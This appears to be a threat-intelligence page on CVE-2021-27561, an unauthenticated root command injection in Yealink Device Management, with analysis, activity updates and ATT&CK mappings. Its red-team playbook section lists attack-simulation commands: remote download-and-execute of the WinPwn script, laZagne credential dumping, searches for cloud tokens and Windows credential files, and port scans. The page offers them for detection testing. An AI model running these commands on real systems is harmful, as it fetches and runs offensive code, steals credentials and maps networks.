CVE-2021-27561
Overview
This vulnerability is a command injection flaw rooted in improper input validation within the Yealink Device Management (DM) software version 3.6.0.20. The flaw exists in the handling of requests to the /sm/api/v1/firewall/zone/services API endpoint, which processes user-supplied input without adequate sanitization. This allows injection of arbitrary commands executed with root privileges on the affected device.
Vulnerability Description
Yealink Device Management (DM) 3.6.0.20 allows command injection as root via the /sm/api/v1/firewall/zone/services URI, without authentication.
Impact
An attacker can execute arbitrary commands with root privileges on the targeted Yealink device without any authentication or user interaction. This enables full system compromise, including access to sensitive configuration data, manipulation of device settings, and potential lateral movement within the network. The breach can lead to service disruption, data exfiltration, and persistent unauthorized control over the device.
Solution
Yealink has released an update addressing this vulnerability in Device Management software version 3.6.0.21. Users should upgrade to this version or later as detailed in the advisory at https://ssd-disclosure.com/ssd-advisory-yealink-dm-pre-auth-root-level-rce/. No official workarounds are provided; applying the vendor patch promptly is the recommended remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Yealink Device Management version 3.6.0.20 is characterized by a critical command injection flaw that allows unauthenticated users to execute arbitrary commands with root privileges. This vulnerability is particularly concerning as it resides in the API endpoint responsible for managing firewall services, specifically through the URI /sm/api/v1/firewall/zone/services. The lack of authentication checks means that any attacker with network access to the device management interface can exploit this weakness, leading to potentially severe consequences. The root-level access granted through this flaw enables attackers to manipulate system configurations, install malicious software, or even take complete control of the affected devices.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could leverage automated scripts or tools to send crafted requests to the vulnerable API endpoint, injecting malicious commands into the input fields. Given that the vulnerability does not require authentication, it significantly lowers the barrier for exploitation, making it accessible to a wide range of attackers, including those with limited technical skills. In a more sophisticated scenario, an attacker could conduct reconnaissance to identify vulnerable devices within a network, followed by a targeted attack to gain control over critical communication systems that rely on Yealink products. The potential for lateral movement within a network further amplifies the risk, as compromised devices could serve as launch points for additional attacks.
The real-world impact of this vulnerability is substantial, particularly for organizations that rely on Yealink devices for communication and collaboration. Successful exploitation could lead to unauthorized access to sensitive data, disruption of services, and significant financial losses due to operational downtime. Moreover, the compromised devices could be used as a foothold for further attacks, potentially allowing attackers to pivot to other systems within the organization. The reputational damage associated with such breaches can also be severe, eroding customer trust and leading to long-term consequences for businesses. Given the critical nature of communication systems in today’s digital landscape, the risks associated with this vulnerability cannot be overstated.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating and patching affected devices is crucial, as vendors often release security updates to address known vulnerabilities. Additionally, organizations should employ network segmentation to limit access to sensitive devices, ensuring that only authorized personnel can interact with the device management interfaces. Implementing intrusion detection systems (IDS) can also help identify and alert on suspicious activity targeting the vulnerable API endpoint. Furthermore, organizations should conduct regular security assessments and penetration testing to identify potential vulnerabilities within their infrastructure proactively.
In conclusion, the command injection vulnerability in Yealink Device Management poses a significant threat to organizations utilizing these devices. The combination of unauthenticated access and root-level command execution creates a critical risk that can lead to severe operational and reputational damage. By adopting robust security measures, including timely updates, network segmentation, and continuous monitoring, organizations can mitigate the risks associated with this vulnerability and protect their communication infrastructure from potential exploitation.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2021-27561, with new telemetry indicating initial exploitation attempts targeting Yealink Device Management instances. This development is significant because it confirms active adversary interest in leveraging the unauthenticated root-level command injection vulnerability, increasing the likelihood of compromise in affected environments. Although no new exploit variants or ransomware affiliations have emerged, the presence of exploitation attempts underscores the urgency for defenders to prioritize monitoring and detection efforts around this vulnerability. Consequently, the threat level associated with CVE-2021-27561 has risen from theoretical to actively exploited, elevating its criticality within the current threat landscape.
Update 2 — June 23, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2021-27561, reflecting a doubling in observed activity over a short period. Although the EPSS score has slightly declined, this does not diminish the operational significance of increased adversary engagement with this unauthenticated root command injection vulnerability. The uptick in detection frequency signals growing attacker confidence or testing, which may precede more sophisticated or widespread exploitation campaigns. This evolving activity underscores the vulnerability’s transition from a known critical risk to one exhibiting active exploitation behavior, thereby elevating its threat profile. Defenders should interpret this trend as an indication that adversaries are increasingly probing affected Yealink Device Management instances, raising the likelihood of compromise and potential lateral movement within targeted networks.
Update 3 — July 08, 2026
CSURFACE threat intelligence has identified a slight increase in activity targeting the CVE-2021-27561 vulnerability within Yealink Device Management environments. While no new exploit variants or ransomware affiliations have surfaced, our telemetry indicates adversaries are intensifying their probing efforts against the vulnerable API endpoint. This subtle uptick suggests attackers are refining their tactics or conducting broader reconnaissance to identify exploitable instances. The persistence of unauthenticated root-level command injection risk, combined with growing adversary interest, elevates the operational threat posed by this vulnerability. Consequently, defenders should consider the likelihood of opportunistic exploitation attempts rising, which may facilitate initial access or lateral movement in compromised networks. Although the overall exploit landscape remains stable, the evolving activity pattern warrants heightened vigilance and continuous monitoring to detect potential escalation or integration into more complex attack chains.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Yealink | Device Management | All |
cpe:2.3:a:yealink:device_management:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
6 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
47%
|
High | High | |
| CAPEC-6 | Argument Injection |
46%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
40%
|
Medium | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-27561 |
| ssd-disclosure.com |
GitHub CVE
x_refsource_MISC
|
https://ssd-disclosure.com/?p=4688 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-27561 |